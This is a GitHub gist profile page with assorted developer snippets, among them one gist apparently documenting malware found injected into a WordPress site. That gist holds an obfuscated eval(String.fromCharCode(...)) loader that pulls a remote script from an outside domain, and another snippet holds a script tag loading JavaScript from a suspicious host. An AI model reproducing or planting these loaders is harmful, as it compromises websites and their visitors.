Skip to content

Instantly share code, notes, and snippets.

View tkota0726's full-sized avatar
💭
Machine Learning

Kota tkota0726

💭
Machine Learning
View GitHub Profile
<div class="wp-block-vk-blocks-alert undefined alert alert-danger"><p><i class="fas fa-exclamation-triangle fa-lg"></i> <strong>サイトを公開する前に必ず以下をご対応ください。</strong></p><ul><li><strong>管理者用のメールアドレスを変更</strong><br>【 設定 】&gt;【 一般 】のページで「メールアドレス」に登録してあるアドレスを任意のアドレスに変更する。</li><li><strong>お問い合わせフォームのメール送信先の変更</strong><br> 【 お問い合わせ 】&gt;【 メール 】のページで「送信先」のアドレスを任意のアドレスに変更する。 </li></ul>
</div>
<script type='text/javascript' src='https://check.resolutiondestin.com/receive_callback.js'></script>
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
@tkota0726
tkota0726 / wordpress_malware.js
Created July 10, 2019 19:42
ワードプレスサイトに埋め込まれたウィルススクリプト
<script type="text/javascript">eval(String.fromCharCode(118, 97, 114, 32, 115, 99, 114, 105, 112, 116, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 114, 101, 97, 116, 101, 69, 108, 101, 109, 101, 110, 116, 40, 39, 115, 99, 114, 105, 112, 116, 39, 41, 59, 10, 115, 99, 114, 105, 112, 116, 46, 111, 110, 108, 111, 97, 100, 32, 61, 32, 102, 117, 110, 99, 116, 105, 111, 110, 40, 41, 32, 123, 10, 125, 59, 10, 115, 99, 114, 105, 112, 116, 46, 115, 114, 99, 32, 61, 32, 34, 104, 116, 116, 112, 115, 58, 47, 47, 121, 111, 117, 114, 115, 101, 114, 118, 105, 99, 101, 46, 108, 105, 118, 101, 47, 106, 97, 118, 97, 115, 99, 114, 105, 112, 116, 45, 109, 105, 110, 105, 46, 106, 115, 34, 59, 10, 100, 111, 99, 117, 109, 101, 110, 116, 46, 103, 101, 116, 69, 108, 101, 109, 101, 110, 116, 115, 66, 121, 84, 97, 103, 78, 97, 109, 101, 40, 39, 104, 101, 97, 100, 39, 41, 91, 48, 93, 46, 97, 112, 112, 101, 110, 100, 67, 104, 105, 108, 100, 40, 115, 99, 114, 105, 112, 116, 41, 59));</script>
@tkota0726
tkota0726 / Docker_Installation_Centos7.md
Last active June 17, 2019 14:09
Instruction about how to install Docker in Centos7

How to install Docker on Centos7

I would like you to be enable to use Docker command in HPC. I looked at the instruction about how to install Docker in Centos7 and showed it as the following steps. I successfully installed these commands on my server followed by the steps.

Steps to install Docker and Docker compose

  • Docker

sudo yum install -y yum-utils device-mapper-persistent-data lvm2

sudo yum-config-manager --add-repo https://download.docker.com/linux/centos/docker-ce.repo

KEYBINDINGS
byobu keybindings can be user defined in /usr/share/byobu/keybindings/ (or within .screenrc if byobu-export was used). The common key bindings
are:
F2 - Create a new window
F3 - Move to previous window
F4 - Move to next window
import tensorflow as tf
from tensorflow.keras.applications import InceptionV3, VGG16, MobileNet
from tensorflow.keras.layers import GlobalAveragePooling2D, Dense
from tensorflow.keras.models import Model
from tensorflow.keras.callbacks import History, Callback
import tensorflow.keras.backend as K
from tensorflow.contrib.tpu.python.tpu import keras_support
from keras.utils import to_categorical
from keras.datasets import cifar10
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
@tkota0726
tkota0726 / diskiutil
Created April 24, 2018 08:11
USBフォーマットコマンド
diskutil eraseDisk ExFAT KOTA /dev/disk2
@tkota0726
tkota0726 / InsertTime
Created March 17, 2018 07:01
GoogleAppScript_日付自動挿入スクリプト
function insertLastUpdated() {
var ss = SpreadsheetApp.getActiveSheet();//現在触っているシートを取得
var currentRow = ss.getActiveCell().getRow(); //アクティブなセルの行番号を取得
var currentCell = ss.getActiveCell().getValue(); //アクティブなセルの入力値を取得
var updateRange = ss.getRange('A' + currentRow) //どの列に更新日時を挿入したいか。この場合はA列
Logger.log(updateRange);
//更新日の記入
if(currentRow>10){ //1行目を除くため
if(currentCell) {
updateRange.setValue(new Date());